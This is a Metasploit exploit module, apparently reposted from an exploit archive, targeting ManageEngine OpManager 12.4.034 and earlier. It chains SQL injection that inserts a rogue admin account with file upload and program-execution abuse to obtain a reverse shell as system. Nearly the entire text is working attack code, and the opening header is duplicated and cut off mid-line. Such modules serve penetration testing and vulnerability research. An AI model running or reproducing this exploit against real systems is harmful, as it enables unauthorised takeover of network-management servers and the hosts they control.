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ManageEngine OpManager 12.4x Privilege Escalation Remote Command Execution

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions.

Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin.

/////// This 0day has been published at DEFCON-AppSec Village. ///////

),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))

register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username']),
OptString.new('PASSWORD', [true, 'OpManager Password']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end

def check_platform(host, port, cookie)

res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(host, port, cookie, platform, @dir)
end

def file_up(host, port, cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end

@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name="theFile"; filename="#{@fname}"")

res = send_request_cgi({
'rhost' => host,
'rport' => port,
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})

if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(host, port, cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end

def create_exec_prog(host, port, cookie, dir, fname)

@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)

if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(host, port, cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end

def exec(host, port, cookie, action)
send_request_cgi(
'method' => 'GET',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def check

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
# For this part the build control will be placed.
# For now, AppManager plugin control is sufficient.
if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def app_login

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)

appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]


if res && res.code == 200 && res.body.include?('.loginForm')
@cookie = res.get_cookies

res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'cookie' => @cookie,
'uri' => '/Logout.do?showPreLogin=true',
)

appm_cookie = 'JSESSIONID_APM_' << res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0]
else
print_error("APM Plugin does not working!")
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
}
)

if res && res.code == 302
print_good("Successful login OPM with user : #{datastore['USERNAME']}")
@cookie = res.get_cookies
saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, ';jsessionid=' + saltcookie),
'cookie' => @cookie,
)
@cookie = res.get_cookies

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'),
'cookie' => @cookie,
)
cookie = @cookie + " " + res.get_cookies

res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
'cookie' => cookie
)

@cookie = cookie + " " + res.get_cookies

res = send_request_cgi(
'method' => 'POST',
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
}
)

res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
'cookie' => @cookie
)

@cookies = @cookie + " " + res.get_cookies
send_sqli(am_host, am_port, @cookies, @cookie)

else
fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
end
end

def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end

def send_sqli(host, port, cookies, cookie)

@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)

res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)

res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)

if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies

res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
}
)

if res && res.code == 302 && res.body.include?('Redirecting to')
print_good("Privilege Escalation was successfully performed.")
print_good("New APM admin username = " + @uname)
print_good("New APM admin password = " + @pwd)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)

@cookie = res.get_cookies
check_platform(host, port, @cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::NotVulnerable, 'Something went wrong!')
end
end
end

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